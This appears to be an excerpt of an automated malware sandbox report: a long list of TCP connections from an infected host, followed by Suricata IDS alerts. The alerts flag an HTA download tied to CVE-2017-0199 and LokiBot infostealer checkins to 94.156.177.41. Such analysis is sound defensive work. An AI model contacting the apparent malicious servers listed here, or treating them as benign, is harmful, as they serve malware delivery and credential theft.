Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.243.136:80 -> 192.168.2.22:49166
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.243.136:80 -> 192.168.2.22:49164
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49177 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49177 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49177 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49188 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49188 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49182 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49188 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49182 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49187 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49187 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49185 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49182 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49185 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49187 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49185 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49171 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49171 -> 94.156.177.41:80
